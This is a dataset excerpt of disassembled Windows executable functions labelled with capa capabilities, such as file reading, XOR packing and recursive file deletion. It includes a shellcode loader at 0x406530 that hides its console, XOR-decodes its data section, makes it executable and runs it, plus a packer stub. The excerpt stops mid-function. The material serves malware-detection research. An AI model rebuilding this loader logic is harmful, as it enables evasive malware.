joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a117c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00401feb
mov eax, dword [0x5c0f28]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00406b45
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4a11be
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4a131a
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00406cd0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x5c6250]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.004037a6
mov ecx, dword [esi*4 + 0x5c6250]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4a1313
cmp eax, dword [edi + ecx + 0x24]
jne 0x4a1313
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4a1313
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004037a6
add esp, 0x14
test edx, edx
jl 0x4a1313
jg 0x4a1289
test eax, eax
jb 0x4a1313
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4a1313
jl 0x4a12a3
cmp dword [ebp - 0x1008], eax
ja 0x4a1313
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4a12c1
test ebx, ebx
je 0x4a12fa
cmp ecx, edi
jae 0x4a12fa
mov al, byte [ecx]
cmp al, 0xd
jne 0x4a12db
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4a12e7
cmp byte [ecx + 1], 0xa
jne 0x4a12e7
inc ecx
jmp 0x4a12e7
movzx eax, al
movsx eax, byte [eax + 0x5c1a88]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4a12c1
cmp edx, ebx
jne 0x4a12c1
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4a1318
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040354e
leave
ret
Function at 0x4a6a41
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x5c0f28]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x4a6a8c
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.004a6f03
test al, al
jne 0x4a6a86
sub edx, 2
cmp edx, edi
jne 0x4a6a6c
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x4a6aae
lea eax, [edi + 2]
cmp edx, eax
je 0x4a6aae
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.004a663a
add esp, 0x10
jmp 0x4a6ba8
push esi
lea ecx, [ebp - 0x255]
call fcn.004a6f03
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4a6af1
push dword [ebp - 0x25c]
jmp 0x4a6a9e
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4a6b2e
cmp word [ebp - 0x226], 0
je 0x4a6b4f
cmp word [ebp - 0x226], ax
jne 0x4a6b2e
cmp word [ebp - 0x224], 0
je 0x4a6b4f
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.004a663a
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x4a6b9b
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x4a6b08
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x4a6b83
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4a6ba8
push 0x4a6022
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00406091
add esp, 0x10
jmp 0x4a6b78
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040354e
leave
ret
Function at 0x4b2323
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x5c6250]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4b2363
cmp byte [ebx], 0xa
jne 0x4b2363
or byte [eax + edi + 0x28], 4
jmp 0x4b2368
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4b2466
mov al, byte [edx]
cmp al, 0x1a
je 0x4b2448
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4b2397
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4b23bc
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4b23c6
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x4b2379
jmp 0x4b2466
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4b2443
cmp dword [ebp - 0xc], 0
je 0x4b2443
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x5c6250]
test byte [eax + edi + 0x28], 0x48
je 0x4b241d
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4b2408
mov byte [esi], dl
jmp 0x4b2419
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x5c6250]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4b2466
cmp byte [ebp - 1], 0xa
jne 0x4b242c
cmp esi, ebx
jne 0x4b242c
mov byte [esi], 0xa
jmp 0x4b2465
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00401ac8
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4b2466
mov byte [esi], 0xd
jmp 0x4b2465
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x5c6250]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4b2462
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4b2466
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4b24c2
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x5c6250]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4b2505
cmp word [esi], dx
jne 0x4b2505
or byte [edi + eax + 0x28], 4
jmp 0x4b250a
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4b265d
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4b263d
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4b254c
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4b2582
cmp eax, edx
jae 0x4b258e
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x4b2524
jmp 0x4b265d
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4b2639
cmp dword [ebp - 0x14], 0
je 0x4b2639
mov eax, dword [ebx*4 + 0x5c6250]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4b2611
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4b25da
mov word [esi], cx
jmp 0x4b260d
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x5c6250]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x5c6250]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x5c6250]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4b265d
pop ebx
cmp word [ebp - 4], bx
jne 0x4b2622
cmp esi, dword [ebp + 0xc]
jne 0x4b2622
mov word [esi], bx
jmp 0x4b265a
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00401ac8
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4b265d
push 0xd
jmp 0x4b2656
mov ecx, dword [ebx*4 + 0x5c6250]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4b2654
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4b265d
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x402470
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [ebp + 8]
push ebx
mov eax, dword [ecx + 0x18]
mov ebx, dword [ecx + 0x14]
cdq
push edi
mov edi, eax
movzx eax, word [ecx + 0x1e]
xor edi, edx
sub edi, edx
shr eax, 3
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], edi
mov dword [ebp - 8], eax
test edi, edi
jle 0x402542
movsd xmm2, qword [0x41e678]
movsd xmm3, qword [0x41e688]
movsd xmm4, qword [0x41e670]
xor ecx, ecx
imul eax, ebx
mov dword [ebp + 8], ecx
mov dword [ebp - 0x10], eax
push esi
test ebx, ebx
jle 0x402536
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp - 8]
lea eax, [esi + 1]
mov edx, esi
add ecx, eax
sub edx, eax
sub esi, eax
lea esp, [esp]
movzx eax, byte [edx + ecx + 2]
movd xmm1, eax
movzx eax, byte [ecx]
movd xmm0, eax
movzx eax, byte [esi + ecx]
cvtdq2pd xmm0, xmm0
cvtdq2pd xmm1, xmm1
mulsd xmm0, xmm3
mulsd xmm1, xmm2
addsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm0, xmm4
addsd xmm1, xmm0
cvttsd2si eax, xmm1
mov byte [edx + ecx + 2], al
mov byte [ecx], al
mov byte [esi + ecx], al
add ecx, edi
dec ebx
jne 0x4024e0
mov edi, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov ebx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
add ecx, eax
dec edi
mov dword [ebp + 8], ecx
mov dword [ebp - 4], edi
jne 0x4024c4
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x402a50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x402b56
cmp byte [ebx + 0x45], 0
je 0x402b56
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x402a80
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 0xf
mov byte [ebp - 0x1c], 0
xorps xmm0, xmm0
movq qword [ebp - 0x1c], xmm0
lea eax, [ebp - 0x1c]
cmp ecx, 0x10
cmovae eax, dword [ebp - 0x1c]
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 8
mov byte [eax + 8], 0
push edi
jmp 0x402ab0
cmp dword [ebp - 8], 0x10
mov ecx, dword [ebx + 0x40]
lea eax, [ebp - 4]
mov edx, dword [ecx]
push eax
mov eax, dword [ebp - 0xc]
lea edi, [ebp - 0x1c]
cmovae edi, dword [ebp - 0x1c]
lea esi, [ebp - 0x1c]
cmovae esi, dword [ebp - 0x1c]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x402aea
dec eax
je 0x402aee
sub eax, 2
je 0x402b3a
xor bl, bl
jmp 0x402b3c
mov byte [ebx + 0x45], 0
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 4]
cmp ecx, 0x10
lea eax, [ebp - 0x1c]
cmovae eax, edx
sub esi, eax
je 0x402b20
push dword [ebx + 0x50]
cmp ecx, 0x10
push esi
lea eax, [ebp - 0x1c]
cmovae eax, edx
push 1
push eax
call fcn.0040832f
add esp, 0x10
cmp esi, eax
jne 0x402ae6
cmp byte [ebx + 0x45], 0
je 0x402b3a
test esi, esi
jne 0x402ab0
push esi
push 8
lea ecx, [ebp - 0x1c]
call fcn.00403cd0
jmp 0x402ab0
mov bl, 1
cmp dword [ebp - 8], 0x10
pop edi
pop esi
jb 0x402b4f
push dword [ebp - 0x1c]
call fcn.004072b6
add esp, 4
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4053f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
cmp ecx, 0xffffffff
jne 0x40540a
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebx + 0x20]
push esi
mov edx, dword [eax]
push edi
test edx, edx
je 0x40543e
mov esi, dword [ebx + 0x30]
mov edi, dword [esi]
lea eax, [edi + edx]
cmp edx, eax
jae 0x40543e
lea eax, [edi - 1]
mov dword [esi], eax
mov ecx, dword [ebx + 0x20]
pop edi
mov edx, dword [ecx]
pop esi
lea eax, [edx + 1]
mov dword [ecx], eax
mov eax, dword [ebp + 8]
mov byte [edx], al
pop ebx
mov esp, ebp
pop ebp
ret 4
cmp dword [ebx + 0x50], 0
jne 0x405450
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edx, dword [ebx + 0xc]
lea eax, [ebx + 0x44]
cmp dword [edx], eax
jne 0x405471
mov eax, dword [ebx + 0x38]
mov ecx, dword [ebx + 0x3c]
mov dword [edx], eax
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
sub ecx, ecx
mov dword [eax], ecx
mov ecx, dword [ebp + 8]
cmp dword [ebx + 0x40], 0
jne 0x40549a
push dword [ebx + 0x50]
movsx eax, cl
push eax
call fcn.00407f6b
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, dword [ebp + 8]
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
mov byte [ebp - 4], cl
mov ecx, 0xf
mov byte [ebp - 0x24], 0
xorps xmm0, xmm0
movq qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x24]
cmp ecx, 0x10
cmovae eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], 8
mov byte [eax + 8], 0
cmp dword [ebp - 0x10], 0x10
mov esi, dword [ebx + 0x40]
lea eax, [ebp - 8]
mov edi, dword [esi]
push eax
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x24]
cmovae ecx, dword [ebp - 0x24]
lea edx, [ebp - 0x24]
cmovae edx, dword [ebp - 0x24]
add eax, ecx
push eax
push edx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 3]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebx + 0x48]
push eax
mov ecx, esi
call dword [edi + 0x1c]
test eax, eax
js 0x405588
cmp eax, 1
jg 0x40556b
mov edi, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 8]
cmp edi, 0x10
lea eax, [ebp - 0x24]
cmovae eax, ecx
sub esi, eax
je 0x40553c
push dword [ebx + 0x50]
lea eax, [ebp - 0x24]
push esi
cmp edi, 0x10
cmovae eax, ecx
push 1
push eax
call fcn.0040832f
add esp, 0x10
cmp esi, eax
jne 0x405588
lea eax, [ebp - 4]
mov byte [ebx + 0x45], 1
cmp dword [ebp - 0xc], eax
jne 0x405566
test esi, esi
jne 0x4054c6
cmp dword [ebp - 0x14], 0x20
jae 0x405588
push esi
push 8
lea ecx, [ebp - 0x24]
call fcn.00403cd0
jmp 0x4054c6
mov ebx, dword [ebp + 8]
jmp 0x40558b
cmp eax, 3
jne 0x405588
push dword [ebx + 0x50]
push dword [ebp - 4]
call fcn.004012d0
or ecx, 0xffffffff
test al, al
cmovne ecx, dword [ebp + 8]
mov ebx, ecx
jmp 0x40558b
or ebx, 0xffffffff
cmp dword [ebp - 0x10], 0x10
jb 0x40559c
push dword [ebp - 0x24]
call fcn.004072b6
add esp, 4
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x406530
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x2faf080
call fcn.00406832
mov esi, eax
add esp, 4
test esi, esi
je 0x406613
lea ecx, [esi + 0x2faf080]
cmp esi, ecx
je 0x40657e
sub ecx, esi
mov edx, ecx
shr ecx, 2
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
xor ecx, ecx
lea edi, [ecx + 0xd]
jmp 0x406590
mov al, byte [ecx + section..data]
ror al, 3
xor al, byte [ebx + str.salevrpigdcro]
inc ecx
mov byte [ecx + 0x426fff], al
lea eax, [ebx + 1]
cdq
idiv edi
mov ebx, edx
cmp ecx, 0x1777
jb 0x406590
lea eax, [ebp - 4]
push eax
push 0x40
push 0x1777
push section..data
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, section..data
call eax
push esi
call fcn.004088f5
add esp, 4
lea eax, [ebp - 0x3c]
push eax
push str.ddsgdfr.pn
call fcn.00402550
mov esi, eax
test esi, esi
je 0x406613
push esi
lea eax, [ebp - 0x3c]
push eax
call fcn.00402470
push esi
lea eax, [ebp - 0x3c]
push eax
push str.rtertszrt.bm
call fcn.00402770
push esi
call fcn.004088f5
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415206
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4293f0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0040b63e
mov dword [ebp - 0x14], eax
cmp dword [0x42b304], edi
jne 0x4152f7
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x415284
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4153d7
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4153d7
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4153d7
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x42b304], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x42b308], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x42b30c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42b314], eax
test eax, eax
je 0x4152f4
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42b310], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41531c
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41530f
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x415331
push 4
pop eax
jmp 0x4153d9
cmp dword [ebp - 0x14], edi
je 0x415331
push dword [0x42b304]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x415316
mov eax, dword [0x42b310]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x41538f
cmp dword [0x42b314], esi
je 0x41538f
push eax
call ebx
push dword [0x42b314]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41538f
test eax, eax
je 0x41538f
call ecx
test eax, eax
je 0x415384
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x415384
test byte [ebp - 8], 1
jne 0x41538f
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x4153bf
mov eax, dword [0x42b308]
cmp eax, esi
je 0x4153bc
push eax
call ebx
test eax, eax
je 0x4153bc
call eax
mov edi, eax
test edi, edi
je 0x4153bc
mov eax, dword [0x42b30c]
cmp eax, esi
je 0x4153bc
push eax
call ebx
test eax, eax
je 0x4153bc
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x42b304]
call ebx
test eax, eax
je 0x4153d7
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x4153d9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a62b
leave
ret
Function at 0x419afa
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00410223
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x419b32
xor eax, eax
jmp 0x419b5e
cmp esi, dword [ebp - 4]
je 0x419b5b
cmp dword [ebp + 0xc], 0
je 0x419b5b
push dword [edi + 0x9c]
call fcn.00419708
push dword [edi + 0x9c]
mov esi, eax
call fcn.0040b9ec
pop ecx
pop ecx
cmp esi, eax
je 0x419b2e
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x405990
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405c5b
test bl, 8
mov dword [ebp - 8], eax
je 0x4059cf
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
neg eax
sbb eax, eax
inc eax
add dword [0x434f88], eax
jmp 0x405b4c
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x4059e9
test eax, eax
je 0x405afa
test bl, 2
je 0x405afa
mov esi, 0x42f250
push edi
push esi
call fcn.00406282
cmp dword [ebp + 8], 0
je 0x405a08
push 0x40a54c
push esi
call sub.KERNEL32.dll_lstrcatW
jmp 0x405a0e
push edi
call fcn.00405b9f
cmp word [edi], 0
jne 0x405a1e
cmp word [0x42f250], 0x5c
jne 0x405a29
push 0x40a014
push edi
call sub.KERNEL32.dll_lstrcatW
push edi
call sub.KERNEL32.dll_lstrlenW
lea ebx, [edi + eax*2]
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405aef
cmp word [ebp - 0x22c], 0x2e
jne 0x405a73
cmp word [ebp - 0x22a], 0
je 0x405ad2
cmp word [ebp - 0x22a], 0x2e
jne 0x405a73
cmp word [ebp - 0x228], 0
je 0x405ad2
lea eax, [ebp - 0x22c]
push eax
push ebx
call fcn.00406282
test byte [ebp - 0x258], 0x10
je 0x405a9e
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405ad2
push dword [ebp + 0xc]
push edi
call fcn.00405990
jmp 0x405ad2
push dword [ebp - 4]
push edi
call fcn.00405948
test eax, eax
jne 0x405aca
cmp dword [ebp - 4], eax
je 0x405ac2
push edi
push 0xfffffffffffffff1
call fcn.004052e6
push 0
push edi
call fcn.00406048
jmp 0x405ad2
inc dword [0x434f88]
jmp 0x405ad2
push edi
push 0xfffffffffffffff2
call fcn.004052e6
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405a4b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405afa
and word [ebx - 2], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405b4c
cmp dword [ebp - 8], esi
jne 0x405b0e
inc dword [0x434f88]
jmp 0x405b4c
push edi
call fcn.004065c5
test eax, eax
je 0x405b4c
push edi
call fcn.00405b53
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.00405948
test eax, eax
jne 0x405b44
cmp dword [ebp - 4], esi
je 0x405b06
push edi
push 0xfffffffffffffff1
call fcn.004052e6
push esi
push edi
call fcn.00406048
jmp 0x405b4c
push edi
push 0xffffffffffffffe5
